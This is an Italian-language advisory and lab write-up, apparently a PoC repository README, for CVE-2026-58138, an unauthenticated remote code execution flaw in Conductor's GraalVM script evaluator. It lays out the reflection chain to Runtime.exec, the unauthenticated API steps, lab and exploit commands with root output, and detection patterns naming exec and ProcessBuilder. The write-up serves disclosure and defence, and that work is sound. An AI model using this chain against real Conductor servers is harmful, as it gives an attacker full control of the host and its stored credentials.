CVE-2026-58138 — Conductor (3.21.21..<3.30.2) RCE non autenticato tramite valutatore GraalVM INLINE (HostAccess.ALL). Lab + PoC, verificato e2e (root).
Conductor (OSS / Orkes)
3.21.21… prima di3.30.2valuta JavaScript fornito dall'utente nei taskINLINE(eLAMBDA/DO_WHILE/SWITCH) con un contesto GraalVM costruito con accesso host completo (HostAccess.ALL). Lo script riflette fino ajava.lang.Runtimeed esegue comandi del sistema operativo. L'API community non ha autenticazione per impostazione predefinita, quindi l'invio di un workflow con tale task costituisce esecuzione di codice remoto non autenticata.
| CVE | CVE-2026-58138 |
| Avviso | vulncheck — Orkes Conductor RCE non autenticato tramite valutatori script GraalVM |
| Affetto | Conductor 3.21.21 … prima di 3.30.2 |
| Corretto | 3.30.2 (commit 87a7d96, c691e35) |
| Classe | CWE-94 (Code Injection) — sandbox poliglotta GraalVM non applicato |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticazione | Nessuna (l'API community è senza autenticazione per impostazione predefinita) |
| Stato | CONFERMATO — riprodotto come root su conductoross/conductor:3.22.3 |
Nota sulla versione (leggere). La configurazione del valutatore varia all'interno dell'intervallo affetto: le versioni fino a ~
3.29.x(questo laboratorio utilizza3.22.3) costruiscono il contesto conallowHostAccess(HostAccess.ALL)— la configurazione senza sandbox descritta dalla CVE, e quella che questo PoC sfrutta direttamente. La linea3.30.0/3.30.1ha aggiunto una lista di blocco parzialedenyAccess(...)(riflessione bloccata); la correzione completa (allowHostClassLoading(false)+ hardening del motore) arriva solo in3.30.2. Questo PoC prende di mira la configurazioneHostAccess.ALLsemplice; non afferma di bypassare la lista di blocco di3.30.1.
core/.../events/ScriptEvaluator.java (≤ 3.29.x / 3.22.3):
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // interop host completo -> nessuna sandbox
.build();
HostAccess.ALL permette allo script di chiamare qualsiasi metodo/campo su oggetti host Java. Il
task INLINE associa il suo input come $, un vero oggetto Java, quindi lo script può orientarsi:
$.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime")
→ Runtime.getRuntime().exec(...). Il valutatore Python è equivalente
(Context.newBuilder("python").allowAllAccess(true)).
INLINE contiene l'expression malevola
(POST /api/metadata/workflow, nessuna autenticazione).POST /api/workflow/{name}, nessuna autenticazione).Runtime.exec riflessiva esegue il comando
e il PoC restituisce il suo stdout come risultato del task.docker compose -f lab/docker-compose.yml up -d # conductoross/conductor:3.22.3 (nell'intervallo)
# attendere circa 60 secondi per l'avvio del server all-in-one
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"
Osservato:
[*] registrazione del workflow con un task INLINE (javascript) malevolo ... (nessuna autenticazione)
[*] workflow avviato id=...; lettura dell'output del task INLINE ...
[+] UNAUTHENTICATED RCE CONFIRMED - output del comando dall'host Conductor:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64
uid=0(root) è l'utente del processo Conductor; l'output è lo stato live di id/uname —
esecuzione reale, non eco. exploit.py utilizza solo la libreria standard Python.
Chiunque possa raggiungere l'API Conductor esegue comandi arbitrari del sistema operativo (qui come root) sull'host orchestrator — compromissione totale del motore workflow, delle sue persistenze/code e di ogni sistema toccato dai suoi workflow e credenziali memorizzate.
Segnalare definizioni di workflow i cui task INLINE/LAMBDA/DO_WHILE/SWITCH contengono
stringhe expression che fanno riferimento a getClass, forName, Runtime, exec,
ProcessBuilder o riflessione java., e processi Conductor che generano shell.
Vedere ANALYSIS.md per la catena di riflessione, la configurazione del valutatore tra
le versioni e la patch.